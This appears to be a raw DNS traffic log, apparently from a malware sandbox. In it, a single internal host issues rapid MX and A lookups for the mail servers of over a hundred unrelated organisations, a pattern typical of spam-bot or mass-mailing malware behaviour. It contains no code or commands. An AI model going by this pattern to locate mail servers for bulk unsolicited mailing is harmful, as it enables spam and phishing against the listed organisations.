Aug 24, 2023 19:03:33.937030077 CEST	192.168.2.8	8.8.8.8	0x9bce	Standard query (0)	peacecorps.gov	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.987044096 CEST	192.168.2.8	8.8.8.8	0x4142	Standard query (0)	mx1.peacecorps.iphmx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:34.039285898 CEST	192.168.2.8	8.8.8.8	0x6d53	Standard query (0)	fiit.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.071000099 CEST	192.168.2.8	8.8.8.8	0xcab2	Standard query (0)	mx10.antispam.mailspamprotection.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:34.097744942 CEST	192.168.2.8	8.8.8.8	0xc70a	Standard query (0)	parl.gc.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.162214041 CEST	192.168.2.8	8.8.8.8	0x75a5	Standard query (0)	mx1.hc650-42.ca.iphmx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:34.173527002 CEST	192.168.2.8	8.8.8.8	0x3676	Standard query (0)	watt.co	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.457324028 CEST	192.168.2.8	8.8.8.8	0x9553	Standard query (0)	larrysrentall.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.515494108 CEST	192.168.2.8	8.8.8.8	0x5a6b	Standard query (0)	glassrooms.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.581506014 CEST	192.168.2.8	8.8.8.8	0x4822	Standard query (0)	brookfieldgis.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.610196114 CEST	192.168.2.8	8.8.8.8	0xc5d3	Standard query (0)	mxb-0024de01.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:34.662112951 CEST	192.168.2.8	8.8.8.8	0x15d0	Standard query (0)	larrysrentall.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:34.676477909 CEST	192.168.2.8	8.8.8.8	0xf27d	Standard query (0)	cnl.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.756282091 CEST	192.168.2.8	8.8.8.8	0x80c6	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:34.776552916 CEST	192.168.2.8	8.8.8.8	0xe084	Standard query (0)	okoarefuge.org	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.785640001 CEST	192.168.2.8	8.8.8.8	0xbccd	Standard query (0)	optimusholdings.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.837163925 CEST	192.168.2.8	8.8.8.8	0xeebc	Standard query (0)	mx01.1and1.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:34.854414940 CEST	192.168.2.8	8.8.8.8	0xa6bc	Standard query (0)	mxa-001cde01.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:34.865428925 CEST	192.168.2.8	8.8.8.8	0xdfbb	Standard query (0)	teck.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.883306980 CEST	192.168.2.8	8.8.8.8	0x45d8	Standard query (0)	garretycpa.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.919605970 CEST	192.168.2.8	8.8.8.8	0x241e	Standard query (0)	teck-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:34.921291113 CEST	192.168.2.8	8.8.8.8	0xa1c3	Standard query (0)	iovate.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.980519056 CEST	192.168.2.8	8.8.8.8	0xb8d1	Standard query (0)	mastermindtoys.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.981436014 CEST	192.168.2.8	8.8.8.8	0xb6d	Standard query (0)	fakemail.iovate.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.016818047 CEST	192.168.2.8	8.8.8.8	0x440a	Standard query (0)	d215492a.ess.barracudanetworks.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.020422935 CEST	192.168.2.8	8.8.8.8	0x42c4	Standard query (0)	mx1-us1.ppe-hosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.074040890 CEST	192.168.2.8	8.8.8.8	0x472e	Standard query (0)	99.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.110817909 CEST	192.168.2.8	8.8.8.8	0x277c	Standard query (0)	mxbiz1.qq.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.262022972 CEST	192.168.2.8	8.8.8.8	0xc9c4	Standard query (0)	abb.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.329561949 CEST	192.168.2.8	8.8.8.8	0x27e6	Standard query (0)	abb-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.341129065 CEST	192.168.2.8	8.8.8.8	0x78fa	Standard query (0)	gouv.qc.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.449678898 CEST	192.168.2.8	8.8.8.8	0x46fc	Standard query (0)	wcdsb.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.467169046 CEST	192.168.2.8	8.8.8.8	0x51d2	Standard query (0)	gouv-qc-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.502515078 CEST	192.168.2.8	8.8.8.8	0x5b25	Standard query (0)	wcdsb-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.509700060 CEST	192.168.2.8	8.8.8.8	0xab99	Standard query (0)	snet.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.528259993 CEST	192.168.2.8	8.8.8.8	0x71b7	Standard query (0)	yahoo.fr	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.549371958 CEST	192.168.2.8	8.8.8.8	0xf9cf	Standard query (0)	mx-eu.mail.am0.yahoodns.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.621225119 CEST	192.168.2.8	8.8.8.8	0x2294	Standard query (0)	nov.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.657633066 CEST	192.168.2.8	8.8.8.8	0x3da8	Standard query (0)	us-smtp-inbound-1.mimecast.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.888792992 CEST	192.168.2.8	8.8.8.8	0x9660	Standard query (0)	iom.int	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.934010983 CEST	192.168.2.8	8.8.8.8	0x2546	Standard query (0)	iom-int.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.949944019 CEST	192.168.2.8	8.8.8.8	0xdad8	Standard query (0)	sgs.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.032608986 CEST	192.168.2.8	8.8.8.8	0x1afc	Standard query (0)	sgs-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.080404997 CEST	192.168.2.8	8.8.8.8	0x732b	Standard query (0)	lonestarsteakhouse.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.151449919 CEST	192.168.2.8	8.8.8.8	0x6977	Standard query (0)	lonestarsteakhouse.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.236299992 CEST	192.168.2.8	8.8.8.8	0x1f0a	Standard query (0)	cbrands.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.267646074 CEST	192.168.2.8	8.8.8.8	0x2d54	Standard query (0)	mxa-001e0e01.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.310785055 CEST	192.168.2.8	8.8.8.8	0xe878	Standard query (0)	okanagan.bc.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.371936083 CEST	192.168.2.8	8.8.8.8	0x35fb	Standard query (0)	utoronto.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.373275042 CEST	192.168.2.8	8.8.8.8	0x1def	Standard query (0)	okanagan-bc-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.419486046 CEST	192.168.2.8	8.8.8.8	0xcd24	Standard query (0)	contenderswrestling.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.424047947 CEST	192.168.2.8	8.8.8.8	0x85b8	Standard query (0)	utoronto-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.500296116 CEST	192.168.2.8	8.8.8.8	0x206c	Standard query (0)	sky.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.580363989 CEST	192.168.2.8	8.8.8.8	0x73d7	Standard query (0)	cleanharbors.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.691601038 CEST	192.168.2.8	8.8.8.8	0xf8a4	Standard query (0)	graybarcanada.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.709018946 CEST	192.168.2.8	8.8.8.8	0x6aed	Standard query (0)	mxa-004e4601.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.728545904 CEST	192.168.2.8	8.8.8.8	0x7518	Standard query (0)	graybarcanada-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.749114990 CEST	192.168.2.8	8.8.8.8	0xa09	Standard query (0)	donaldchoi.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.799343109 CEST	192.168.2.8	8.8.8.8	0x86e6	Standard query (0)	donaldchoi-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.942168951 CEST	192.168.2.8	8.8.8.8	0xedd7	Standard query (0)	bigwhite.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.982300043 CEST	192.168.2.8	8.8.8.8	0x14c6	Standard query (0)	d14900a.ess.barracudanetworks.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.043390989 CEST	192.168.2.8	8.8.8.8	0xa33f	Standard query (0)	nokia.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:37.074227095 CEST	192.168.2.8	8.8.8.8	0x7443	Standard query (0)	nokia-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.144193888 CEST	192.168.2.8	8.8.8.8	0x136a	Standard query (0)	infiniteit.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:37.151434898 CEST	192.168.2.8	8.8.8.8	0xf629	Standard query (0)	asprs.org	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:37.184663057 CEST	192.168.2.8	8.8.8.8	0x34f2	Standard query (0)	mx1-us2.ppe-hosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.229124069 CEST	192.168.2.8	8.8.8.8	0xf762	Standard query (0)	asprs-org.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.301532030 CEST	192.168.2.8	8.8.8.8	0xaf4c	Standard query (0)	tdsb.on.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:37.345957994 CEST	192.168.2.8	8.8.8.8	0x55cf	Standard query (0)	mx1.hc167-46.ca.iphmx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.374411106 CEST	192.168.2.8	8.8.8.8	0xb8e7	Standard query (0)	mercer.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:37.437093973 CEST	192.168.2.8	8.8.8.8	0x81bd	Standard query (0)	krugerproducts.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:37.492635965 CEST	192.168.2.8	8.8.8.8	0xd50d	Standard query (0)	kruger-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.501950979 CEST	192.168.2.8	8.8.8.8	0x5ccb	Standard query (0)	mxa-001b7601.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.532442093 CEST	192.168.2.8	8.8.8.8	0xeff9	Standard query (0)	videotron.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:37.648032904 CEST	192.168.2.8	8.8.8.8	0x6bf7	Standard query (0)	mx.videotron.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.719113111 CEST	192.168.2.8	8.8.8.8	0xc3b2	Standard query (0)	stjosham.on.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:37.758912086 CEST	192.168.2.8	8.8.8.8	0x516a	Standard query (0)	smtp.stjoes.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.962935925 CEST	192.168.2.8	8.8.8.8	0x7922	Standard query (0)	temptationsforher.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.056746006 CEST	192.168.2.8	8.8.8.8	0xeace	Standard query (0)	bayouconcretellc.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.074331045 CEST	192.168.2.8	8.8.8.8	0x7ce0	Standard query (0)	federalmogul.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.109158039 CEST	192.168.2.8	8.8.8.8	0x7b4d	Standard query (0)	temptationsforher.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:38.119375944 CEST	192.168.2.8	8.8.8.8	0xccac	Standard query (0)	federalmogul-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:38.153311014 CEST	192.168.2.8	8.8.8.8	0x977f	Standard query (0)	rdainsurance.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.200937033 CEST	192.168.2.8	8.8.8.8	0x6036	Standard query (0)	dunn-companies-com-1.fortimailcloud.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:38.215990067 CEST	192.168.2.8	8.8.8.8	0x5645	Standard query (0)	jprecruitment.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.257721901 CEST	192.168.2.8	8.8.8.8	0xb62	Standard query (0)	jprecruitment-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:38.296448946 CEST	192.168.2.8	8.8.8.8	0x2ecd	Standard query (0)	tourmalineoil.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.313673019 CEST	192.168.2.8	8.8.8.8	0xc91a	Standard query (0)	d95212b.ess.barracudanetworks.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:38.321703911 CEST	192.168.2.8	8.8.8.8	0xc8d3	Standard query (0)	reagan.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.343033075 CEST	192.168.2.8	8.8.8.8	0x37d5	Standard query (0)	mx2-us1.ppe-hosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:38.358609915 CEST	192.168.2.8	8.8.8.8	0xbc23	Standard query (0)	mx1.emailsrvr.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:38.376590014 CEST	192.168.2.8	8.8.8.8	0xcf8a	Standard query (0)	michaels.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.440778017 CEST	192.168.2.8	8.8.8.8	0x4e5a	Standard query (0)	mxb-005f4f01.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:38.467725039 CEST	192.168.2.8	8.8.8.8	0xc7af	Standard query (0)	vancroissant.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.640351057 CEST	192.168.2.8	8.8.8.8	0x20bf	Standard query (0)	successtracs.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.705672979 CEST	192.168.2.8	8.8.8.8	0xbb56	Standard query (0)	mail.blaze.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:39.098206997 CEST	192.168.2.8	8.8.8.8	0xd769	Standard query (0)	suddenlink.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:39.337733030 CEST	192.168.2.8	8.8.8.8	0x89a0	Standard query (0)	ci.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:39.383573055 CEST	192.168.2.8	8.8.8.8	0x7d15	Standard query (0)	mx1.ci.iphmx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:39.432400942 CEST	192.168.2.8	8.8.8.8	0x1f73	Standard query (0)	rocketmail.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:39.462193012 CEST	192.168.2.8	8.8.8.8	0xe34f	Standard query (0)	mta5.am0.yahoodns.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:39.630913973 CEST	192.168.2.8	8.8.8.8	0x20bf	Standard query (0)	successtracs.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:39.744944096 CEST	192.168.2.8	8.8.8.8	0x41b8	Standard query (0)	gov.ab.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:39.749310017 CEST	192.168.2.8	8.8.8.8	0xd14f	Standard query (0)	ajg.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:39.886713982 CEST	192.168.2.8	8.8.8.8	0xa8a5	Standard query (0)	prominenthomes.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:39.886774063 CEST	192.168.2.8	8.8.8.8	0xb93e	Standard query (0)	cluster4a.us.messagelabs.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:39.930706978 CEST	192.168.2.8	8.8.8.8	0xffc	Standard query (0)	gov-ab-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:40.065380096 CEST	192.168.2.8	8.8.8.8	0x5a59	Standard query (0)	linamar.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.072417974 CEST	192.168.2.8	8.8.8.8	0xc5e9	Standard query (0)	tismc.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.151299000 CEST	192.168.2.8	8.8.8.8	0x1b1a	Standard query (0)	goldenwest.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.208039045 CEST	192.168.2.8	8.8.8.8	0x3029	Standard query (0)	ca-smtp-inbound-2.mimecast.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:40.312815905 CEST	192.168.2.8	8.8.8.8	0x21e6	Standard query (0)	mx1.ispservices.us	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:40.441421986 CEST	192.168.2.8	8.8.8.8	0x901d	Standard query (0)	gm.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.490928888 CEST	192.168.2.8	8.8.8.8	0x300e	Standard query (0)	tismc-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:40.582953930 CEST	192.168.2.8	8.8.8.8	0x8ff7	Standard query (0)	mx1.imr.gm.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:40.646675110 CEST	192.168.2.8	8.8.8.8	0x20bf	Standard query (0)	successtracs.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.828043938 CEST	192.168.2.8	8.8.8.8	0xcfee	Standard query (0)	aecom.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.864057064 CEST	192.168.2.8	8.8.8.8	0x1aad	Standard query (0)	mxa-00219703.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:40.946702957 CEST	192.168.2.8	8.8.8.8	0xfeca	Standard query (0)	eastlink.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.987150908 CEST	192.168.2.8	8.8.8.8	0x335e	Standard query (0)	smtpin.eastlink.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:41.041908026 CEST	192.168.2.8	8.8.8.8	0xe203	Standard query (0)	jps.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.092861891 CEST	192.168.2.8	8.8.8.8	0x3c2e	Standard query (0)	cae.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.136236906 CEST	192.168.2.8	8.8.8.8	0x435c	Standard query (0)	lineone.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.165524006 CEST	192.168.2.8	8.8.8.8	0xfab1	Standard query (0)	parsons.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.213826895 CEST	192.168.2.8	8.8.8.8	0x136a	Standard query (0)	txdal11mx02.parsons.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:41.218873978 CEST	192.168.2.8	8.8.8.8	0xc0ef	Standard query (0)	cae-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:41.263009071 CEST	192.168.2.8	8.8.8.8	0x80c9	Standard query (0)	financialbenefitscorp.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.449388981 CEST	192.168.2.8	8.8.8.8	0x1c5e	Standard query (0)	fleetcom.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.453357935 CEST	192.168.2.8	8.8.8.8	0x6e99	Standard query (0)	financialbenefitscorp-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:41.540580988 CEST	192.168.2.8	8.8.8.8	0x9301	Standard query (0)	almat.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.575782061 CEST	192.168.2.8	8.8.8.8	0xe1ab	Standard query (0)	mx001.internic.xion.oxcs.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:41.584980011 CEST	192.168.2.8	8.8.8.8	0x4b84	Standard query (0)	mailgate2.on-call.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:41.619951010 CEST	192.168.2.8	8.8.8.8	0xe607	Standard query (0)	hudsonbayltd.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.740709066 CEST	192.168.2.8	8.8.8.8	0x7c9b	Standard query (0)	mail.hudsonbayltd.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:41.746436119 CEST	192.168.2.8	8.8.8.8	0x182e	Standard query (0)	lifemark.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.790591955 CEST	192.168.2.8	8.8.8.8	0xbcbd	Standard query (0)	lifemark-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:41.885272980 CEST	192.168.2.8	8.8.8.8	0x2899	Standard query (0)	windstream.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.907639027 CEST	192.168.2.8	8.8.8.8	0x20ae	Standard query (0)	mx01.windstream.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:42.016824007 CEST	192.168.2.8	8.8.8.8	0xc1b3	Standard query (0)	dslextreme.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.053783894 CEST	192.168.2.8	8.8.8.8	0x254c	Standard query (0)	dslextreme-com.mx.av-mx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:42.121876001 CEST	192.168.2.8	8.8.8.8	0x742a	Standard query (0)	sasktel.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.175509930 CEST	192.168.2.8	8.8.8.8	0x8d0f	Standard query (0)	mx1c11.megamailservers.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:42.193207026 CEST	192.168.2.8	8.8.8.8	0xc265	Standard query (0)	buzybodymovement.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.264430046 CEST	192.168.2.8	8.8.8.8	0x5bff	Standard query (0)	peharbour.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.388544083 CEST	192.168.2.8	8.8.8.8	0x6f71	Standard query (0)	comcast.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.467708111 CEST	192.168.2.8	8.8.8.8	0x2752	Standard query (0)	cibc.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.517419100 CEST	192.168.2.8	8.8.8.8	0xe0ef	Standard query (0)	mxb-00146707.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:42.559484005 CEST	192.168.2.8	8.8.8.8	0x913e	Standard query (0)	pcl.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.570363045 CEST	192.168.2.8	8.8.8.8	0x27bc	Standard query (0)	mx1h1.comcast.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:42.592145920 CEST	192.168.2.8	8.8.8.8	0x9fd8	Standard query (0)	mxa-0028a101.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:42.716459036 CEST	192.168.2.8	8.8.8.8	0x83c6	Standard query (0)	transperfect.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:42.744126081 CEST	192.168.2.8	8.8.8.8	0xdefb	Standard query (0)	transperfect-com.mx2.arsmtp.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:42.901499987 CEST	192.168.2.8	8.8.8.8	0x6b2a	Standard query (0)	inerde.org	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:43.229068041 CEST	192.168.2.8	8.8.8.8	0x3f15	Standard query (0)	apsc.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:43.232927084 CEST	192.168.2.8	8.8.8.8	0xc36f	Standard query (0)	live.dk	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:43.273287058 CEST	192.168.2.8	8.8.8.8	0x181c	Standard query (0)	mxb-00358f01.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:43.283432961 CEST	192.168.2.8	8.8.8.8	0x51a9	Standard query (0)	eur.olc.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:43.322618008 CEST	192.168.2.8	8.8.8.8	0x635f	Standard query (0)	kone.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:43.377726078 CEST	192.168.2.8	8.8.8.8	0x800	Standard query (0)	kone-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:43.510843039 CEST	192.168.2.8	8.8.8.8	0xe09	Standard query (0)	obsidianenergy.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:43.568643093 CEST	192.168.2.8	8.8.8.8	0x9f35	Standard query (0)	obsidianenergy-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:43.605473042 CEST	192.168.2.8	8.8.8.8	0x45bb	Standard query (0)	stonybrookmedicine.edu	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:43.733266115 CEST	192.168.2.8	8.8.8.8	0xbbb0	Standard query (0)	stonybrookmedicine-edu.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:43.747658968 CEST	192.168.2.8	8.8.8.8	0xe439	Standard query (0)	rona.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:43.778883934 CEST	192.168.2.8	8.8.8.8	0x7964	Standard query (0)	rona-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:43.825200081 CEST	192.168.2.8	8.8.8.8	0xe7c8	Standard query (0)	immigrationlawgroup.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:44.245115995 CEST	192.168.2.8	8.8.8.8	0x638f	Standard query (0)	d215873a.ess.barracudanetworks.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:44.251914978 CEST	192.168.2.8	8.8.8.8	0x2757	Standard query (0)	mondelezinternational.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:44.305141926 CEST	192.168.2.8	8.8.8.8	0x4ec8	Standard query (0)	custmx.cscdns.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:44.331233978 CEST	192.168.2.8	8.8.8.8	0x4a3b	Standard query (0)	johncrane.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:44.356991053 CEST	192.168.2.8	8.8.8.8	0xd7cd	Standard query (0)	themayneline.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:44.358844042 CEST	192.168.2.8	8.8.8.8	0x9504	Standard query (0)	johncrane-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:44.441304922 CEST	192.168.2.8	8.8.8.8	0xb30e	Standard query (0)	ccmm.qc.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:44.625821114 CEST	192.168.2.8	8.8.8.8	0x111c	Standard query (0)	schanks.com	MX (Mail exchange)	IN (0x0001)	false
